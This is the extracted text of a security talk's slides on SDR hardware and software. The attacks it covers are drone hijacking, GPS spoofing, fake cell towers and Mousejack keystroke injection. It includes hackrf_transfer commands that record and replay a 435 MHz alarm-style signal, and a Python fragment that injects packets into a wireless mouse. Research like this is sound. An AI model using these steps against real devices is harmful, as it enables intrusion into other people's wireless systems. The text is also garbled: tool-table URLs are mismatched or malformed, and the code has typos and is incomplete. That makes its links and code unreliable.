Drone Hijacking and other IoT hacking with GNU Radio and SDR

Arthur Garipov
Senior Specialist, Network Application Security Team
Positive Technologies
agaripov@ptsecurity.com
SDR (Software-defined radio)
- Simple radio frequency management
- Easy change the modulation type
- Sampling size selection
- Bandwidth selection
- Easy prototyping
- The future of radio
HD-RF market

- HackRF One, HackRF Blue
- BladeRF x40, BladeRF x115
- USRP (N200, N210, B200, B210, B210mini, E310...)
- UmTRX
- RTL-SDR
- Other (AirSpy, SDRPlay, ...
HackRF One

http://greatscottgadgets.com/hackrf
https://github.com/mossmann/hackrf
HackRF Blue

http://hackrfblue.com/
BladeRF

https://www.nuand.com/
https://www.ettus.com/
RTL-SDR

- Huge family of devices
- Very cheap

<table>
<thead>
<tr>
<th>Tuner</th>
<th>Frequency range</th>
</tr>
</thead>
<tbody>
<tr>
<td>Elonics E4000</td>
<td>52 - 2200 MHz with a gap from 1100 MHz to 1250 MHz (varies)</td>
</tr>
<tr>
<td>Rafael Micro R820T</td>
<td>24 - 1766 MHz</td>
</tr>
<tr>
<td>Rafael Micro R828D</td>
<td>24 - 1766 MHz</td>
</tr>
<tr>
<td>Fitipower FC0013</td>
<td>22 - 1100 MHz (FC0013B/C, FC0013G has a separate L-band input, which is unconnected on most sticks)</td>
</tr>
<tr>
<td>Fitipower FC0012</td>
<td>22 - 948.6 MHz</td>
</tr>
<tr>
<td>FCI FC2580</td>
<td>146 - 308 MHz and 438 - 924 MHz (gap in between)</td>
</tr>
</tbody>
</table>

http://sdr.osmocom.org/trac/wiki/rtl-sdr
LimeSDR

http://limesdr.org
https://www.crowdsupply.com/lime-micro/limesdr
Software for SDR
## Software

- SDR#, HDSDR, GQRX
- GNU Radio
- LabVIEW
- Baudline

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Author</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>gr-pocsag</td>
<td>GRC Flowgraph</td>
<td>Marcus Leech</td>
<td><a href="https://github.com/mondry/simple_fm_trunk">https://github.com/mondry/simple_fm_trunk</a></td>
</tr>
<tr>
<td>multimode RX</td>
<td>GRC Flowgraph</td>
<td>Marcus Leech</td>
<td><a href="https://github.com/mondry/multimod_trunk">https://github.com/mondry/multimod_trunk</a></td>
</tr>
<tr>
<td>simple_fm_rvc</td>
<td>GRC Flowgraph</td>
<td>Marcus Leech</td>
<td><a href="https://github.com/mondry/simple_fm_rvc">https://github.com/mondry/simple_fm_rvc</a></td>
</tr>
<tr>
<td>pygri</td>
<td>Python Wrapper</td>
<td>Roger</td>
<td><a href="https://github.com/mondry/pyrtdsdr">https://github.com/mondry/pyrtdsdr</a></td>
</tr>
<tr>
<td>pyrtds-waterfall</td>
<td>Python FFT GUI</td>
<td>Kyle Keen</td>
<td><a href="https://github.com/kimeng/pypnetd-waterfall">https://github.com/kimeng/pypnetd-waterfall</a></td>
</tr>
<tr>
<td>QtRadio</td>
<td>SDR GUI</td>
<td>Kyle Keen</td>
<td><a href="https://github.com/mondry/qtradio">https://github.com/mondry/qtradio</a></td>
</tr>
<tr>
<td>grpx</td>
<td>SDR GUI</td>
<td>Alexandre Csete</td>
<td><a href="https://github.com/mondry/grpx">https://github.com/mondry/grpx</a></td>
</tr>
<tr>
<td>gr-fm</td>
<td>SDR CLI</td>
<td>Youcef Touil</td>
<td><a href="https://github.com/mondry/gr-fm">https://github.com/mondry/gr-fm</a></td>
</tr>
<tr>
<td>SDR#</td>
<td>SDR GUI</td>
<td>osmoscope</td>
<td><a href="https://github.com/mondry/sdr#">https://github.com/mondry/sdr#</a></td>
</tr>
<tr>
<td>tetra_demod_fft</td>
<td>Trunking RX</td>
<td>osmoscope team et al</td>
<td><a href="https://github.com/mondry/tetra_demod_fft">https://github.com/mondry/tetra_demod_fft</a></td>
</tr>
<tr>
<td>airprobe</td>
<td>GSM sniffer</td>
<td>osmoscope team et al</td>
<td><a href="https://github.com/mondry/airprobe">https://github.com/mondry/airprobe</a></td>
</tr>
<tr>
<td>gr-smartnet (WIP)</td>
<td>Trunking RX</td>
<td>Nick Foster</td>
<td><a href="https://github.com/mondry/gr-smartnet">https://github.com/mondry/gr-smartnet</a></td>
</tr>
<tr>
<td>gr-air-modes</td>
<td>ADS-B RX</td>
<td>Nick Foster</td>
<td><a href="http://www.nitehawk.com/sm5b5s/linuxdsp/hware/rtltdsrd.htm">http://www.nitehawk.com/sm5b5s/linuxdsp/hware/rtltdsrd.htm</a></td>
</tr>
<tr>
<td>Linrad</td>
<td>SDR GUI</td>
<td>Leif Asbrink (SMBSZ)</td>
<td><a href="https://github.com/chans/gr-ais">https://github.com/chans/gr-ais</a></td>
</tr>
<tr>
<td>gr-aes (fork)</td>
<td>AIS RX</td>
<td>Nick Foster, Antoine Sirinelli</td>
<td><a href="https://github.com/chans/gr-aes">https://github.com/chans/gr-aes</a></td>
</tr>
<tr>
<td>GNSS-SDR</td>
<td>GPS RX (Realtime!)</td>
<td>Centre Tecnològic de</td>
<td><a href="http://www.gnss-sdr.org">http://www.gnss-sdr.org</a></td>
</tr>
<tr>
<td>LTE-Cell-Scanner</td>
<td>LTE Scanner / Tracker</td>
<td>Evrytanía LLC</td>
<td><a href="https://github.com/Evrytan%C3%ADaLTE/Cell-Scanner">https://github.com/EvrytaníaLTE/Cell-Scanner</a></td>
</tr>
</tbody>
</table>
| gr-scan         | Scanner               | technology                    | http://www.org/com/trac/wiki/rtl-sdr#KnownApps
| kallibrate-rtl  | calibration tool      | Joshua Lackey, Alexander      | http://www.org/com/trac/wiki/rtl-sdr#KnownApps
|                |                       | Chemeris, Steve               | http://www.org/com/trac/wiki/rtl-sdr#KnownApps

http://sdr.osmocom.org/trac/wiki/rtl-sdr#KnownApps
http://sdr-x.github.io/
GQRX uses the gr-osmosdr source block to interface with receiver hardware and supports the following input sources:

- Funcube Dongle Pro
- Funcube Dongle Pro+
- USRP devices from Ettus Research
- Osmocom rtl-sdr via USB or TCP client
- HackRF Jawbreaker by Great Scott Gadgets
- RFspace SDR-IP, SDR-IQ and NetSDR
- AirSpy
- Nuand bladeRF
- SDRplay
- Red Pitaya
- SoapySDR (need info, see website)
- Osmocom MiriSDR (need info)
- Sysmocom OsmoSDR (need info)
- I/Q file source
GNU Radio

http://gnuradio.org/
- gr-osmosdr
- gr-lte
- gr-gsm
- gr-cdma
- gr-dvb
- gr-gps
- ...

The Free & Open Software Radio Ecosystem
Baudline

www.baudline.com
SDR allows:

- FM Broadcast radio
- Radio astronomy
- Plane/boat tracking
- Working with RFID и NFC
- Police/Fire/EMS scanner
- User targeting
- Hacking wireless security systems
- Fake BTS (GSM, UMTS, LTE)
- Sniffing GSM signals
- Drone hijacking
- Hacking of wireless gadgets
- GPS falsification
- ...

...
Your own radio station
Hacking wireless security systems

$ hackrf_transfer -r 435MHz-ASK-HACKRF-CW-8M.iq -f 435000000 -s 8000000
$ hackrf_transfer -t 435MHz-ASK-HACKRF-CW-8M.iq -f 435000000 -s 8000000 -a 1 -x 47
Sniffing GSM signals
RFID and NFC

gr-rfid

Plane tracking

http://sonicgoose.com/how-to-setup-adsbscope/
https://github.com/antirez/dump1090
GPS falsification

https://github.com/osqzss/gps-sdr-sim
https://code.csdn.net/sywcxx/gps-sim-hackrf
User targeting

- imsi-catcher
- Bluetooth LE
- iBeacon
- nRF24
- Z-wave, zigbee
- ...

https://github.com/JiaoXianjun/BTLE
https://github.com/omriiluz/NRF24-BTLE-Decoder
BTS (GSM, UMTS, LTE)

http://openbsc.osmocom.org/trac/wiki/OsmoBTS
http://openbts.org/
http://yatebts.com/
https://www_evilsocket_net/tags/evilbts/
http://openlte.sourceforge.net/
nRF24
nRF24

- very cheap
- frequency 2.4GHz
- speed up to 2Mbps (250kbps, 1Mbps)
- widely used

https://github.com/TMRh20/RF24
## Analogs

<table>
<thead>
<tr>
<th>Nordic Semiconductor</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>nRF24L01</td>
<td>First chip of the family. Supports data rates of 1 Mbps and 2 Mbps. Some features of the chip (dynamic payload length, suppression of ACK packets) and their corresponding SPI commands have to be enabled using the ACTIVATE+0x73 command before they can be used.</td>
</tr>
</tbody>
</table>
| nRF24L01+            | Drop-in replacement for the nRF24L01 with the following additions:  
  - In addition to the 1 and 2 Mbps data rates, the chip also supports 250 kbps with a higher sensitivity as for the other data rates.  
  - No need to ACTIVATE certain features. |

<table>
<thead>
<tr>
<th>Beken Corporation</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>BK2401</td>
<td>nRF24L01 clone that only supports a data rate of 1 Mbps. Contains a second register bank that can be switched to the ACTIVATE+0x53 command. The registers in this bank have to be written with certain magic values (specified in the datasheet) before the chip can be used.</td>
</tr>
<tr>
<td>BK2421</td>
<td>Same as the BK2401, but also supports a data rate of 2 Mbps.</td>
</tr>
<tr>
<td>BK2423</td>
<td>A clone that supports the three data rates of the nRF24L01+. Also has the second register bank.</td>
</tr>
</tbody>
</table>
| BK2491               | Another clone that only supports 1 and 2 Mbps. Also has the second register bank.  
  (There is no data sheet available for this chip, but one can find the datasheet of a Wenshing Electronics TRW-24G2 module that contains the chip. When searching online for BK2491 datasheet one does however find various datasheets for other (even completely unrelated) Beken chips because the PDF title of these document is BK2491 Specification; apparently the unreleased datasheet for this chip was used as a template for other datasheets without changing the title.) |

https://sigrok.org/wiki/Protocol_decoder:Nrf24l01
Packet format

Common packet

ShockBurst packet (nRF24+)
Minor changes

https://github.com/TMRh20/RF24/compare/master...chopengauer:master
Cheap scanner

https://github.com/chopengauer/nrf_analyze
Demo (cheap scanner)
I am not the first one

Client code. Facedancer will be forked out to its own repo.

Client code. Facedancer will be forked out to its own repo.

Reworked 1-Wire app to match the standard verbs

https://github.com/travisgoodspeed/goodfet
6.3 RF channel frequency

The RF channel frequency determines the center of the channel used by the nRF24L01+. The channel occupies a bandwidth of less than 1MHz at 250kbps and 1Mbps and a bandwidth of less than 2MHz at 2Mbps. nRF24L01+ can operate on frequencies from 2.400GHz to 2.525GHz. The programming resolution of the RF channel frequency setting is 1MHz.
GFSK modulation
GFSK modulation
Not a cheap scanner

https://github.com/chopengauer/nrf_analyze
Demo (not a cheap scanner)
http://blog.ptsecurity.com/2016/06/phd-vi-how-they-stole-our-drone.html
PHDays 6

http://blog.ptsecurity.com/2016/06/phd-vi-how-they-stole-our-drone.html
Demo (drone hijacking)
Easy way to get a prize
Mousejack

https://www.mousejack.com/
Mousejack

[REQUEST] Injection Tool PoC

https://github.com/insecurityofthings/jackit
Microsoft keyboard and mouse

- Also uses nRF24 at 2Mbps rate
- Listens to 3 devices
- Keyboard channel is encrypted
- Mouse channel is NOT encrypted (woo...)
- Mouse channel accepts keyboard packets (huh!)
Simple mousejack example

```python
# print hex(checksum(tmp[5:-1], 0x4a))
if 1:
    tmp = bytarray('4c044801781bcc200000787ffbf8000000003e'.decode('hex'))
t00 = '4c04480178'
t10 = '1b'
t11 = '00'
t20 = '20'
t21 = '0000%0000000000000000'
crc = '3e'

r = t00 + '01' + t11 + 'a40000787ffbf800000000000'  #
packet = r
radio.write(packet)

for j in range(20, 36):
    #print j
    for i in range(23, 130):
        for l in letter:
            r = t00 + ('%02x' % j) + t11 + ('%02x' % j) + t21 + l
            #print r
```

POSITIVE TECHNOLOGIES
Demo (mousejack)
Other devices with GFSK

- cc2500
- a7105
- Z-wave
- Zigbee
- BLE
- ...

https://bitbucket.org/cybertools/scapy-radio
Other devices with GFSK (IoT kits)
Arthur Garipov
Senior Specialist, Network Application Security Team
Positive Technologies
agaripov@ptsecurity.com

Thank you!